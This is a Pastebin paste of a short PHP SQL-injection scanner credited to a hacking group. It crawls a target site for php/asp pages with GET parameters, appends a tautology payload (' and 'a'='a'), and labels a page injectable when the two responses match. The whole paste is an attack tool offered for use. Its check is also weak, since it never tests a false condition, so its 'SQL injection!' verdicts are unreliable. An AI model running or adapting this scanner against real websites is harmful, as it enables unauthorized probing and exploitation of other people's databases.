bonekcok21

Sql injection scanner

Aug 14th, 2016
1,132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.49 KB | None | 0 0
  1. <?php
  2.  
  3.  #Sh3ll.Team 2008-08-28
  4. #Sql injection scanner Coded By ./MekiTembem404
  5.  
  6.  $http  = '';
  7.  
  8.  if($http == '')
  9.     die("Http is empty!\n\n<b>Powered by TCA</b>\n# TCA Team");
  10.  
  11.  echo "Scan for : <b>$http</b> \n\n";
  12.  
  13.  $http  = (substr($http, -1) != '/') ? $http.'/' : $http;
  14.  $found = getGet();
  15.  
  16.  function getGet()
  17.  {
  18.     global $http;
  19.      
  20.     $getN = array();
  21.     $fenN = array();
  22.                  
  23.     $htm = @file_get_contents($http);
  24.           @preg_match_all('/((\/[a-zA-Z0-9]+\/)|)([a-zA-Z0-9]+\.[a-zA-Z0-9]+\?)([a-zA-Z0-9]+)(\s*\=)([a-zA-Z0-9]+)/im', $htm, $gets);
  25.  
  26.     foreach($gets[0] as $get)
  27.     {
  28.        $get = str_replace($http, '', $get);
  29.    
  30.        if(!in_array($get, $getN))
  31.        {
  32.           @preg_match_all('/(.*)(\?)/', $get, $gn);
  33.            $name = str_replace('?', '', $gn[1][0]);
  34.  
  35.            if(!@in_array($name, $fenN) && @in_array(substr(strrchr($name, "."), 1), array('php', 'asp', 'aspx'))){
  36.               $getN[] = $get;
  37.                $fenN[] = $name;
  38.            }  
  39.        }  
  40.     }
  41.     return $getN;
  42.  }
  43.  
  44.  foreach($found as $get)
  45.  {
  46.     $address = $http.$get;
  47.    
  48.     $htm1 = @file_get_contents($address);
  49.     $htm2 = @file_get_contents($address.'%20and%20\'a\'%20=%20\'a\'');
  50.      
  51.     if($htm1 == $htm2)
  52.        echo $get." <b><font color=\"#1B9B1B\">SQL injection!</font></b> \n";
  53.     else
  54.        echo $get." <b><font color=\"#D80404\">Failed!</font></b> \n";
  55.      
  56.  }
  57.  
  58.  echo "\n\n<b>Powered by TCA</b>\n";
  59.  
  60. ?>
Advertisement
Add Comment
Please, Sign In to add comment